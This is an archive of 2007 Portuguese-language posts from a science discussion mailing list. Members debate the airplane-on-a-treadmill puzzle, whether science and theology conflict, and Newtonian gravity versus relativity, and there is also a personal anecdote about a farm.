> > e teologia, como mutuamente excludentes e contraditórias. A teologia,
> > a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
> > percepção humanas, desejos subjetivos e credulidade, enquanto a
> > ciência só existe porque deixou de lado todas essas coisas.
> >
> > Em especial, o pensamento mágico, a crença irracional em seres
> > imaginários, e a fé na interferência desses seres no universo físico.
> >
> > Deuses são incompatíveis com leis da física.
> >
> > Cientistas não rezam para que os elétrons mudem de órbita, nem para
> > que a lei da gravidade não falhe durante um experimento. Aprendemos
> > que ela não o fará, pois não há nenhuma intenção ou interferência em
> > sua ação.
> >
> > Mesmo valores ético-morais independem de religião ou teologia, e
> > podem, devem, ser construídos a partir da razão e da vontade humana.
> > Deixar as religiões para tras é uma vantagem que não se pode
> > subestimar, em se tratando de civilização e ética humana.
> >
> > No máximo, deixemos a filosofia lidar com os problemas subjetivos,
> > impedindo a teologia (qualquer das milhares existentes, e mutuamente
> > conflitantes) de distorcer e confundir essas questões.
> >
> > Homero






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SUBJECT: Fw: [ciencialist] Chega, Renato... - Re: Balanço do avião2
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/04/2007 18:57

Caro, Homero! (reenvio tentando ajustar as legendas das figuras)

Em vez de vc rebater meu racioc�nio e apresentar as falhas dele vc parece
que fica t�o atordoado que passa a n�o tratar mais da quest�o e sim fazer
uma an�lise virtual da minha f�-cega-teimosa que nada acrescenta �
solu��o do problema.

Vc j� pensou por um momento que � vc quem n�o consegue visualizar o arranjo
que tento lhe passar, no qual as velocidades da esteira-pista e do avi�o s�o
medidas a partir de um ponto fixo localizado sobre a esteira que esta se
movimentando? E o ponto junto com ela tamb�m se movimentando para tr�s?
N�o � vergonha admitir isso, � lucidez e liberta��o.

D� uma olhada nas tr�s esquemas abaixo e apresente sua discord�ncia de
forma objetiva:


fig.1 - Esquema b�sico.
Esteira parada e o avi�o =}> estacionado no ponto 'o'.

<= dire��o desloc esteira =}> dire��o desloc avi�o =>
________________________'o'__________________________

O = ponto de refer�ncia localizado sobre a esteira.


fig. 2 - Esteira parada. O avi�o com turbinas acionadas-aceleradas
percorre sobre a esteira uma espa�o de 1000m e atinge no
ponto ' f ' a velocidade de 180km/h, ap�s 10 segundos.
O ponto de ref. 'o' permanece no mesmo lugar.



esteira parada avi�o =}>
/________________________'o'_________________f_____
| 1000m |


fig. 3 - Esteira e avi�o come�am simultaneamente a se movimentar,
com a mesma acelera��o do avi�o da figura anterior, at� atingir
uma velocidade de 180km/h, ap�s 10seg. O avi�o rola-desliza sobre
a esteira 1000 metros para a direita e a esteira 1000 metros para
a esquerda. O ponto de ref. 'o' localizado sobre a esteira se desloca
junto e, ap�s os 10 segundos, passa a ocupar a posi��o o' situado
1000 m a esquerda do ponto original 'o'. E o avi�o, que estaria no
ponto f caso a esteira se mantivesse parada, continua a ocupar o
ponto original 'o', isto �, praticamente continua parado em rela��o
ao ar e ao solo. Sem sustenta��o corre sobre a esteira em alta
velocidade mas n�o voa.


<= esteira acionada avi�o =}>
/_______o'_________________'o'_________________f_____
| 1000m | 1000m |

A velocidade de ambos pode aumentar simultaneamente at� o
m�ximo e o avi�o permanecer� no ponto 'o' praticamente parado.

[]s

Jos� Renato
............................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 06, 2007 4:59 PM
Subject: [ciencialist] Chega, Renato... - Re: Balan�o do avi�o


Ola Renato

Renato: "teria se deslocado tamb�m 1000 metros para tr�s, "trazendo"
ou mantendo o avi�o ao/no mesmo ponto inicial de decolagem"

Chega, Renato! Pessoas com esse padrao de "fe'", cega e teimosa,
tornam impossivel qualquer discussao!

Todo mundo tentou explicar para voce, a esteira NAO traz, ela nao pode
trazer, ela nao tem como trazer o aviao para tras!!!

A UNICA coisa que ela pode fazer e' girar as rodas do aviao mais
rapido do que girariam se este estivesse decolando de um piso fixo.
So' isso, NADA mais.

Para TRAZER o aviao ela teria de aplicar forca neste, e forca que
compensasse a propulsao, e ela NAO pode.

O Takata apenas tentou demonstrar que em algumas circunstancias os
rolamentos poderiam, no limite, agir dessa forma. Mas voce nao
entende, ao rolar para tras a esteira NAO TRAZ, NAO TEM COMO TRAZER,
NAO PODE TRAZER, o aviao ao ponto de partida.

Ela pode apenas "girar" as rodas mais rapido.

Pense na diligencia (pense, nao doi!), e o cara que a empurra ou os
cavalos que a puxam de FORA da esteira (que e' o mesmo que as helices
e os jatos). A diligencia NAO volta se a esteira e' ligada, ela apenas
tem as rodas girando mais rapido!!!!


Eu desisto. Outros talvez queiram tentar explicar para voce, ms eu
desisto. Se quer "acreditar" em mais alguma coisa, que o aviao nao
decola, e' direito seu, e eu desisto.

Homero




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SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/04/2007 03:26

Olá José Renato,

"Discordei de vc quanto ao motivo de não haver conflito entre
Ciência, Filosofia e Teologia."

Eu sei. Se concordássemos com o motivo concordaríamos também com a
tese. :)

Mas discordamos e isso não tem nenhum problema. Assim como também
não tem nenhuma problema o fato de que não concordaremos sobre isso
nem depois de 200 mensagens. Veja abaixo...

"Não é porque elas não tenha relação causal entre si, mas sim e
exatamente por elas terem como objetivo direto ou indireto o
entendimento do mundo pela humanidade."

O objetivo, seja lá qual for que se dê a elas, não dá às mesmas
nenhuma relação causal entre si. Essa relação, se existisse, estaria
muito mais nos pressupostos e nos métodos de cada uma do que nos
objetivos "diretos ou indiretos". Agora convenhamos, até mesmo ao se
falar em "objetivos" não é possível argumentar que a busca de
respostas para formação do Sistema Solar, por exemplo, tenha algo em
comum com a virgindade de Maria ou com o Estado imaginado por
Platão, não é?

Não é por que a "Humanidade" nos une que colcoaremos tudo em um só
balaio de gatos.

Por fim, não se trata meramente de diferentes "linguagens" como você
sugere, pois se assim o fosse haveria um protocolo de conversão
entre elas (um "tradutor"). É possível explicar ciência até em
Klingon, mas não dá nem paa imaginar fazê-lo por meio de rezas e
benzimentos.

Esqueça, José Renato. Escolha uma das três e interprete o mundo com
ela. Ou use uma em cada situação da sua vida (como geralmente se
faz). Você não precisa descaraterizar nenhuma delas para que ela se
acomode às outras.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...>
escreveu
>
> Professor, esclareço melhor meu comentário.
> Discordei de vc quanto ao motivo de não haver conflito entre
Ciência,
> Filosofia e Teologia. Não é porque elas não tenha relação causal
entre si,
> mas sim e exatamente por elas terem como objetivo direto ou
indireto o
> entendimento do mundo pela humanidade. Os caminhos podem ser
diferentes mas
> apontam ou deveriam apontar a uma mesma direção: a humanidade. Os
desvios
> ocorrem em todas elas, o que não invalida suas diversas linguagens
para um
> melhor entendimento da presença da humanidade no universo.
> []s
> JR
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 06, 2007 7:51 AM
> Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re:
Em defesa
> doparadoxo
>
>
> Olá José Renato,
>
> Eu não me lembro de ter dito que havia algum conflito entre elas
("De
> fato, não há nenhum conflito entre Ciência, Filosofia e Teologia,
pois
> cada uma trata de uma coisa que não tem nenhuma relação causal com
a
> outra."), os "conflitos" parecem surgir quando se confundi uma com
> outra. Também não disse nada contra nossa liberdade de pensar,
> imaginar ou "viajar na maionese" tentando criar um outro mundo onde
> ciência, filosofia e teologia sejam tudo um só balaio de gatos, só
não
> confundo essa liberdade com os "fatos". E os fatos são claros para
> mim: ciência lida com a realidade física, filosofia com o mundo das
> idéias do universo de valores humanos e teologia com uma fantasia
que
> sustenta milhares de "padres e pastores" a troco de nada. :)
>
> O Bulcão (esqueci de citar ele na lista dos "expulsáveis", he he)
fez
> uma alusão a uma "faixa cinza" (ou algo assim) que representaria os
> limites entre uma coisa e outra. Eu não modelo a realidade usando
> faixas de transição entre a lei da gravidade de Newton e a teoria
do
> lugar natural de Aristóteles e não aceito esse argumento como
> validador para especulações sobre a convergência entre áreas
> distintas, mas não posso impedi-lo de aceitar. Por isso mesmo disse
> que em determinados momentos toda essa nossa conversa perde
> completamente o sentido, pois enquanto "eu peço uma coca-cola, ela
> pensa em casamento..." ("Sem lenço nem documento").
>
> Então é isso José Renato. Temos crenças diferentes sobre esses
temas.
> Rezemos aos nossos deuses em templos separados. :)
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
>
> Caro Prof. José Carlos, não há conflitos entre Ciência, Filosofia e
> Teologia porque todas tratam - ou deveriam tratar - daquilo que
somos.
> Entender isso é fácil: somos a referência de tudo o que constatamos
> na realidade. São esses conhecimentos que nos ensinam sobre a
> existência da humanidade e de sua sobrevivência em um paraíso que
> não conseguimos preservar por falta de sapiência em perceber o que
vc
> disse em mensagem a Homero: aprender ciência é aprender sobre
humanidade.
> Não dá para separar uma da outra.
> []s
> José Renato
> .................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Thursday, April 05, 2007 12:52 AM
> > Subject: [ciencialist] P/ JC - Discordando, educadamente..:-)
Re: Em
> defesa
> > doparadoxo
> >
> >
> > Homero,
> >
> > Aproveitando a deixa e o fato de que estou lendo as todas
mensagens
> > dessa semana, vou sugerir uma técnica diferente de argumentação
que
> > tenho usado e tem dado certo contra esses pecadores:
> >
> > De fato, não há nenhum conflito entre Ciência, Filosofia e
Teologia,
> > pois cada uma trata de uma coisa que não tem nenhuma relação
causal
> > com a outra. A Ciência se preocupa com o mundo físico onde
existimos e
> > tem as melhores respostas para explicar seus fenômenos; a
Filosofia
> > trata de um outro mundo, o mundo das idéias sobre conceitos
> > subjetivos como ética, moral, arte, beleza e outras coisas
> > incomensuráveis e; por fim, a Teologia é uma disciplina que
trata de
> > devaneios malucos sobre coisas estranhas de um universo fictício
que
> > só servem para justificar o dízimo pago pelos crentes.
> >
> > Experimente usar isso, você vai ver como funciona. :)
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
escreveu
> > >
> > > Olá Renato
> > >
> > > Renato: "Não há conflito entre Ciências, Filosofia, Teologia
como
> > > muitos pensam."
> > >
> > > Não é conflito, é guerra mesmo. Não apenas são incompatíveis,
ciência
> > > e teologia, como mutuamente excludentes e contraditórias. A
teologia,
> > > a religião, a fé, vivem sustentadas pelo pensamento mágico,
falhas de
> > > percepção humanas, desejos subjetivos e credulidade, enquanto a
> > > ciência só existe porque deixou de lado todas essas coisas.
> > >
> > > Em especial, o pensamento mágico, a crença irracional em seres
> > > imaginários, e a fé na interferência desses seres no universo
físico.
> > >
> > > Deuses são incompatíveis com leis da física.
> > >
> > > Cientistas não rezam para que os elétrons mudem de órbita, nem
para
> > > que a lei da gravidade não falhe durante um experimento.
Aprendemos
> > > que ela não o fará, pois não há nenhuma intenção ou
interferência em
> > > sua ação.
> > >
> > > Mesmo valores ético-morais independem de religião ou teologia,
e
> > > podem, devem, ser construídos a partir da razão e da vontade
humana.
> > > Deixar as religiões para tras é uma vantagem que não se pode
> > > subestimar, em se tratando de civilização e ética humana.
> > >
> > > No máximo, deixemos a filosofia lidar com os problemas
subjetivos,
> > > impedindo a teologia (qualquer das milhares existentes, e
mutuamente
> > > conflitantes) de distorcer e confundir essas questões.
> > >
> > > Homero
>




SUBJECT: Re: [ciencialist] Re: Jeff: Como funciona o processo...?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/04/2007 11:03

Meu prezado Ferrari, o jovem:

Sou doutor em sitiologia. Tive um, trabalhei nele durante anos, não havia 1 m² que não fosse cuidado e plantado: no começo, tirava até 15 produtos deferentes: com o tempo, a exaustão da terra, a triste realidade que no sacolão os gêneros eram mais baratos (o caseiro e a família dele faziam a festa) mais as doenças que liquidavam as aves e os cães, eram ônus pezado... Salvava-se festas de S. João quando dávamos canjica e cachaça para dezenas de vizinhos... Comprei e plantei 100 mudas de ipê, na fronteira norte, na cacunda de um morro: deve ter ficado lindo pois logo depois, vendi: tinha sido transformado, por meus filhos, em prostíbulo....

um agraço,

silvio.

Mas havia noites em que ver o céu pagava todos os problemas.... os barulhos da noite: corujas caçando, gambás comendo maracujás, micos devastando bananeiras... e os vagalumes ávidos, procurando as consortes....

----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 04, 2007 1:20 PM
Subject: [ciencialist] Re: Jeff: Como funciona o processo...?


Olá Jeff!

Jeff >>> Acho que também sou um "proto-hyppie" Meu
objetivo é, um dia, comprar um sítio e poder morar
nele.

--- Nem tudo num sitio é vida boa e fácil. Tirar leite
da teta da vaca, por exemplo, requer maestria de
pianista. Cuidar dos porcos é bem fedorento. E por
mais que vc carpir, o mato teimoso vai sempre voltar a
crescer. Contudo, se a procura cientifica-proto-hyppie
continuar, vou até pensar em lotear uns por aqui.

Jeff >>> Hmmmm... Eu estava reconhecendo as suas
idéias de algum lugar... :-) Você acredita que vivemos
em algo como a Matrix

--- não acredito que vivemos. eu sei que vivo. sei de
mim, o resto é mapa. e não sei que vivo na matrix, sei
que vivo no que vive. Se chamo isto que vive de vida,
de matrix, de deus, de eternidade, de matéria, de sopa
quantica, de eletrons, etc, não muda a realidade disto
que vive, é apenas um recurso semantico. Não
precisamos nos prender a semantica.

--- Ninguém precisa de semantica pra existir, precisa?
Pois então! A semantica da matrix pode ser uma boa
semantica, se bem usada. Uso bastante ela. E usei com
o Murilo porque sei que lhe é familar. Já conversamos
usando esta semantica antes.

Jeff >>> e que só você conseguiu se libertar dela para
"ver" a verdade.

--- Jeff, assim como não tem como vc se libertar do
que vc é, um ser, não tem como um personagem da matrix
se libertar da matrix, pois ele é a própria matrix.
Aquele negocio do Neo ir pra Zion é uma metáfora. Não
teria como o Neo sair da mundo da forma é ir para um
mundo sem forma. Cinema é forma. Como o autor do filme
ia conseguir passar a idéia de um mundo sem forma, se
todas as imagens na telas precisam ter forma, entende?

--- Sair da matrix é "viver no mundo da forma, sem ser
do mundo da forma". A semantica católica fala uma
coisa parecida com isto, algo assim "estar no mundo,
mas não ser do mundo".

--- Contudo, não há nada para se fazer, já somos o que
somos. Só que não sabemos o que somos. Este é o
obstáculo. Vc sabe quem vc é? Esta é uma pergunta de
vc pra vc mesmo. Só vc pode responder. E enquanto não
souber quem vc é, vc vai ter que acreditar no que os
outros te dizem. Sejam eles doutores cientista,
respeitados religiosos, ou iluminados mestres. Não
importa quem for, se acreditar, vc será apenas um
crente, como qualquer crente que vc tanto fala mal,
generaliza e condena.

--- Porém, quando vc souber que vc é, ai nada poderá
lhe enganar mais. Porque? Porque a verdade do que vc
é, é sempre a mesma, não muda nunca. Só muda de
semantica. Só muda de forma. Eis como funciona o
processo.

Jeff >>> ...que tudo é controlado por um deus, que
funciona como o Arquiteto da Matrix.

--- Chame do que quiser, o controle está ai, e não
adianta negar. Aliás, o próprio ato de negá-lo o
prova. Todo ato acontece no tempo, e é regido pelo
tempo, isto é inegável. Seja o ato de afirmar uma
coisa ou de negar a mesma coisa. Ambos os atos
acontecem no tempo. Eis ai um outro nome que podemos
dar ao controlador-trix "tempo". Sobre isto vou falar
no próximo artigo "sobre oniporesença".

Jeff >>> "A colher não existe", é só um mapa mental
que "Deustrix" colocou na minha cabeça! :-)

--- Isto é o que vc aprendeu no filme. Agora, isto é
uma verdade pra vc? É isto que importa. Veja, o que os
cientista materialistas falam pode ser veradade. Mas é
verdade pra vc? O que os quanticos falam pode ser
verdade, mas é verdade pra vc? O que os judeus falam
pode ser verdade, mas é verdade para vc? O que os
budistas falam pode ser verdade, mas é verdade pra vc?
É isto que importa, a verdade, e não a semantica.

Jeff >>> Bom, não posso provar que isso é impossível
mas, usando a navalha de Ockhan: se não precisa
existir, é mais provável que não exista.

--- Sim, é mais fácil acreditar em Ockhan do que em si
mesmo, não é? Eis porque tem gente querendo me
expulsar da lista. Eu sou apenas um espelho, o que as
pessoas veem em mim, no que escrevo, é o que está
dentro delas, no inconsciente. Mas elas não querem ver
o que está inconsciente. Vc acha que alguém gostou
quando freud disse que o comportamento da pessoas
estava baseado no inconsciente? Ninguém gostou. É
natural. Se o consciente gostasse do que está
inconsciente não o mantinha inconsciente, não é mesmo?
Mas suponho que vc seja uma pessoa nova, aberta, com
um coração de cientista que ainda não foi corrompido
pela luta do poder. Sendo assim, volto a lhe
aconselhor, vc é o livro. Não se deixe corromper por
ninguém que se faça de doutor ou dono da verdade
(autoridades). A verdade não tem dono. Vc é a verdade,
e ninguém pode tirar vc de vc.

Jeff >>> Podemos inventar N realidades...

--- Podemos inventar N mapas, realidade é uma só.

Jeff >>> Se você ainda não assistiu, assista "O 13º
andar", muito interessante.

--- Valeu! Já assisti sim.

Jeff >>> Pode até te fazer "mudar de realidade" :-)

--- Jeff, investigue esta metáfora, pense no
significado dela: o mapa não é o território.

sinceramente
ferrari

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SUBJECT: Historia y evolución del Pensamiento Científico
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasilurgente@band.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 08/04/2007 14:07

Historia y evolución del Pensamiento Científico


INTRODUCCIÓN

Del CEREBRO HUMANO procede todo sentimiento, pensamiento, emoción, recuerdo, deseo, lenguaje o capacidad de aprender, de razonar y de investigar. Desde este órgano se gesta la creatividad y la imaginación, él y los órganos sensoriales son el puente entre el mundo físico de los objetos y el mundo de la Ideas o Representaciones del nombre; que a través del conocimiento de los fenómenos logra entender las leyes que gobiernan en la Naturaleza y en la Sociedad. Y es así, que con la ayuda de la ciencia y la tecnología el hombre, puede transformar los recursos que se encuentran en el medio ambiente en beneficio de la Humanidad.

El ser humano debe ser visto y estudiado como una totalidad, como un todo. Ya que el ser humano no es un accidente cósmico, sino una fase culminante de todo el orden natural, con la función peculiar e importante que realizar. Sólo él puede iluminar a la naturaleza con la luz del entendimiento y dirigir conscientemente su vida y sus actividades dentro de una armonía voluntaria con este orden, pues solamente él, de todos los seres visibles, posee la facultad de comprensión racional, por débil y frágil que sea, de esa armonía cósmica.



Para ler ou copiar todo o trabalho: (166 fls.)



http://www.monografias.com/trabajos-pdf/historia-pensamiento-cientifico/historia-pensamiento-cientifico.pdf


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: [ciencialist] Chega, Renato... - Re: Balanço do avião2
FROM: Hélio Ricardo Carvalho <hrc@fis.puc-rio.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/04/2007 14:50

Alo Renato, Homero e todos,

Eu fiquei muito tempo sem participar da lista. Ando extremamente
ocupado. Perdi muita coisa interessante.
Mas nas minhas últimas participações esta thread do avião já estava
rolando (O avião e a esteira já estavam rolando :-)).

Nunca vi alguém tão teimoso quanto o Renato!
Eu duvido que ele continue lendo com atenção o resto desta minha
mensagem depois desta minha frase aí em cima como acho que ele não
continua lendo com atenção as explicações do Homero.
Mas mesmo assim vou tentar convence-lo. (SERÁ MEU PRESSENTE DE PÁSCOA) :-)

Quando andamos, só o fazemos, pois empurramos o chão para trás e a
esta ação no chão corresponde uma reação do chão em nós. Num carro
também é assim que acontece.

Uma pessoa ou um carro caminhando na esteira as coisas seriam como diz
o Renato.

Mas um avião, para "andar" não empurra o chão para trás (a roda do
avião não está ligada a nenhum motor). Ele empurra o ar para trás e
com isto ele ganha velocidade EM RELAÇÃO AO AR.

Eu não vou voltar a este assunto.

Isto não vai aplacar a teimosia sem limites do Renato, eu tenho
certeza. Pois é justamente isto que o Homero (que também é teimoso mas
agora vi que tem limites :-)) vem tentando dizer para ele desde:

http://br.groups.yahoo.com/group/ciencialist/message/61309

Abraços,
Hélio Ricardo Carvalho

PS.:
Vou continuar sumido pois são muitas tarefas.






--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Homero! (reenvio tentando ajustar as legendas das figuras)
>
> Em vez de vc rebater meu raciocínio e apresentar as falhas dele vc
parece
> que fica tão atordoado que passa a não tratar mais da questão e sim
fazer
> uma análise virtual da minha fé-cega-teimosa que nada acrescenta à
> solução do problema.
>
> Vc já pensou por um momento que é vc quem não consegue visualizar o
arranjo
> que tento lhe passar, no qual as velocidades da esteira-pista e do
avião são
> medidas a partir de um ponto fixo localizado sobre a esteira que esta se
> movimentando? E o ponto junto com ela também se movimentando para trás?
> Não é vergonha admitir isso, é lucidez e libertação.
>
> Dê uma olhada nas três esquemas abaixo e apresente sua discordância de
> forma objetiva:
>
>
> fig.1 - Esquema básico.
> Esteira parada e o avião =}> estacionado no ponto 'o'.
>
> <= direção desloc esteira =}> direção desloc avião =>
> ________________________'o'__________________________
>
> O = ponto de referência localizado sobre a esteira.
>
>
> fig. 2 - Esteira parada. O avião com turbinas acionadas-aceleradas
> percorre sobre a esteira uma espaço de 1000m e atinge no
> ponto ' f ' a velocidade de 180km/h, após 10 segundos.
> O ponto de ref. 'o' permanece no mesmo lugar.
>
>
>
> esteira parada
avião =}>
> /________________________'o'_________________f_____
> |
1000m |
>
>
> fig. 3 - Esteira e avião começam simultaneamente a se movimentar,
> com a mesma aceleração do avião da figura anterior, até atingir
> uma velocidade de 180km/h, após 10seg. O avião rola-desliza sobre
> a esteira 1000 metros para a direita e a esteira 1000 metros para
> a esquerda. O ponto de ref. 'o' localizado sobre a esteira se desloca
> junto e, após os 10 segundos, passa a ocupar a posição o' situado
> 1000 m a esquerda do ponto original 'o'. E o avião, que estaria no
> ponto f caso a esteira se mantivesse parada, continua a ocupar o
> ponto original 'o', isto é, praticamente continua parado em relação
> ao ar e ao solo. Sem sustentação corre sobre a esteira em alta
> velocidade mas não voa.
>
>
> <= esteira acionada
avião =}>
> /_______o'_________________'o'_________________f_____
> | 1000m |
1000m |
>
> A velocidade de ambos pode aumentar simultaneamente até o
> máximo e o avião permanecerá no ponto 'o' praticamente parado.
>
> []s
>
> José Renato
> ............................................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 06, 2007 4:59 PM
> Subject: [ciencialist] Chega, Renato... - Re: Balanço do avião
>
>
> Ola Renato
>
> Renato: "teria se deslocado também 1000 metros para trás, "trazendo"
> ou mantendo o avião ao/no mesmo ponto inicial de decolagem"
>
> Chega, Renato! Pessoas com esse padrao de "fe'", cega e teimosa,
> tornam impossivel qualquer discussao!
>
> Todo mundo tentou explicar para voce, a esteira NAO traz, ela nao pode
> trazer, ela nao tem como trazer o aviao para tras!!!
>
> A UNICA coisa que ela pode fazer e' girar as rodas do aviao mais
> rapido do que girariam se este estivesse decolando de um piso fixo.
> So' isso, NADA mais.
>
> Para TRAZER o aviao ela teria de aplicar forca neste, e forca que
> compensasse a propulsao, e ela NAO pode.
>
> O Takata apenas tentou demonstrar que em algumas circunstancias os
> rolamentos poderiam, no limite, agir dessa forma. Mas voce nao
> entende, ao rolar para tras a esteira NAO TRAZ, NAO TEM COMO TRAZER,
> NAO PODE TRAZER, o aviao ao ponto de partida.
>
> Ela pode apenas "girar" as rodas mais rapido.
>
> Pense na diligencia (pense, nao doi!), e o cara que a empurra ou os
> cavalos que a puxam de FORA da esteira (que e' o mesmo que as helices
> e os jatos). A diligencia NAO volta se a esteira e' ligada, ela apenas
> tem as rodas girando mais rapido!!!!
>
>
> Eu desisto. Outros talvez queiram tentar explicar para voce, ms eu
> desisto. Se quer "acreditar" em mais alguma coisa, que o aviao nao
> decola, e' direito seu, e eu desisto.
>
> Homero
>



SUBJECT: Re: Poisson
FROM: Hélio Ricardo Carvalho <hrc@fis.puc-rio.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/04/2007 16:51

Oi Victor,

Como disse, estou totalmente sem tempo para voltar aos nosso debates.

Mas achando esta sua MSG não pude resistir.

Vou comentar só um trecho.

Victor disse:
>[de acordo com a teoria de Newton]... sentirá
> instantâneamente qualquer variação ...
>Instantâneamente significa dizer: vapt, vupt,...
> Isto é o que era aceito pelos físicos adeptos
> cegos das teorias de Newton.

Hélio:
Isto JAMAIS foi aceito por Newton. Você sabe disto. Eu e
principalmente o Alberto estamos cansados de te provar que Newton não
pensava em ação instantânea a distância mas mesmo assim você (com
teimosia "renatal" :-) ) continua propagando esta mentira com
esperança que se torne verdade de tanto ser falada.

Atenção Salomão, a verdade é que Newton NÃO pensava em ação a
distância instantânea não mediada por nada.

Quanto aos erros de interpretação do Victor sobre da lei de Gauss (é
necessário entender bem a lei de Gauss para poder entender a eq. de
Poisson) e a correção necessária dela quando os corpos estão muito
distantes (onde a APROXIMAÇÃO de ação a distância instantânea não da
valores corretos) estão nas minhas MSGs naquela thread.
Nela eu comento a proposta de Walter Ritz. Veja!


A última minha foi dia 4 de outubro de 2006:

http://br.groups.yahoo.com/group/ciencialist/message/57718

Se ela for acessada pela web tem no final a thread completa.

Nesta MSG eu reafirmo que numa região do espaço em que a densidade de
massa é ZERO

Div g = 0

Em qualquer ponto desta região independente da massa no resto do espaço.

E digo mais, se o raio desta região tender a zero, ou seja, for apenas
o próprio ponto,
Div g = 0
Neste ponto. Mesmo que a um centímetro de lá exista um planeta. :-)


--------------- CITANDO O TRECHO ----------------
Victor disse:
>...
>Para poder continuar a resposta,
> pergunto:
>
> a)esclareci melhor a questão?

HÉLIO: SIM!! PERFEITO!!

VICTOR:
> b) Se sim, você mantém suas
> 3(três) respostas acima, mesmo
> com os
> esclarecimentos que fiz?

HÉLIO:
Se você chama de "3(três) respostas acima" as:
>>
>> Div g = 0
>>
>> O campo g é diferente de ZERO mas Div g = 0
>>
>> Pois neste ponto não tem massa.
>>
SIM! Eu as mantenho!!!!

--------------------- FIM DA CITAÇÃO ----------------

Esta MSG o Victor não respondeu.


Abraços,
Hélio
--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Salomão,
>
>
> Salomão:"...houve
> silêncio e o Victor não apresentou o jeito de resolver o defeito
comentado.
> Como corrgir a equação de Poisson, se é que isso é possível, de modo a
> eliminar a incompatibilidade?. Estranhei que tivessem silenciado,
pois, como
> eu, muitos estavam se beneficiando"
>
> Victor: Não voltei lá para reler os textos que postei. Mas tenho
certeza de que falei na
> solução encontrada. Mas, já que você não percebeu, talvez eu não
tenha dito direito.
> Mas vou dizer agora.
> Vou dizer de maneira mais ou menos completa, pois não dá para
simplificar muito coisas do tipo.
>
> Vimos que:
> 1- A teoria newtoniana da gravidade é claramente incompatítivel com
a teoria de relatividade restrita, pois:
>
> a) assume, de maneira ad hoc, com base no Divino, a existência de um
sistema espacial 3-dimensional,
> como referencial absoluto, universal, em relação ao qual movimentos
e posições podem ser referidos de maneira absoluta.
>
> b)Discutimos também que isso é um absurdo lógico, observacional e
experimental;
> c) a teoria de Newton também, e principalmente, leva em conta que o
tempo é absoluto.
> Isto é, no esquema de Newton, espaço e tempo são absolutos. Isto
que gerou tantas distorções. E ainda geram.
>
> Nas condições acima, os potenciais gravitacionais em qualquer ponto
em torno de uma massa central, de densidade rhô,
> e a configuração dessa massa, ou da energia associada a ela,
rhô.c^2, c=velocidade da luz, estão ligados pela
> equação de Poisson, sobre o que o essencial foi dito nas discussões
anteriores.
>
> Você poderá voltar àqueles e-mails e reler tudo.
>
> Aquela bendita equação, cerne de todas as questões, não leva em
conta o fato de que nada pode se mover a uma
> velocidade sequer igual à da luz.
> Segundo a Eq. de Poisson, e vou repetir aquí, um ponto qualquer, a
uma distância r(x,y,z),
> onde rhô está alocada, sentirá instantâneamente qualquer variação em
rhô!.
> Instantâneamente significa dizer: vapt, vupt, no ato, qualquer que
seja a separação.
> Isto é o que era aceito pelos físicos adeptos cegos das teorias de
Newton.
> Ainda hoje há um ou outro que ainda pensa assim.
>
> Mas esta interação instantânea não ocorre.
> Decorre sempre um intervalo de tempo entre a causa e o efeito.
>
> Por exemplo, se o sol explodir(o que que não vai acontecer agora),
você só morrerá torrado cerca de 8 minutos depois.
> Ou seja, dá tempo fazer umas coisinhas antes.
> Mas a teoria de Newton advoga que você não terá tempo sequer para um
bilionésimo de meia piscadela!
> É assim que é, a Teoria de Newton, expressa na Equação de Poisson.
>
> Einstein vendo essas coisas cheias de incoerências, num rasgo de
genialidade, simplesmente pôs os pingos nos i`s.
> Desde então, entre mortos e feridos, todos vamos escapando com vida.
> Apesar dos tiros de canhão e foiçadas que foram dados, em decorrência.
>
> Fez assim, para corrigir:
>
> Na Eq. de Poisson, no segundo membro, substituiu a densidade de
massa rhô por algo bem mais geral,
> que representa matematicamente a configuração de um ponto num dado
meio contínuo:
> o tensor momento-energia, que especifica com precisão a situação de
cada ponto do espaço, em termos do que está a
> ele associado, como massa, energia, quantidade movimento, pressão.
Não esquente com o termo momento-energia.
>
> Ele não morde. E é o elemento chave, fundamental, imprescindível na
estrutura da Relatividade Geral.
>
> Depois, se quiser, falarei sobre esse objeto matemático tão
importante. Agora, tentemos responder vosso questionamento.
> (Mas, sem querer desestimular, sugiro que aguarde até atingir uma
certa maturidade em equações diferenciais,
> o que acontecerá quando terminar o básico universitário, com o
pagamento das matemáticas oferecidas.
> De outro jeito, as dúvidas não poderão ser eliminadas, pois faltarão
os ingredientes adequados).
>
> O primeiro membro, da Equação de poisson, foi corrigido para uma
expressão lógica que incorpora o tempo,
> numa estrutura 4-dimensional, isto é, que envolve as 3 dimensões
espaciais + o tempo, considerado como uma coordenada(temporal).
>
> E isto é bastante intuitivo e imediato, pois basta você pensar que
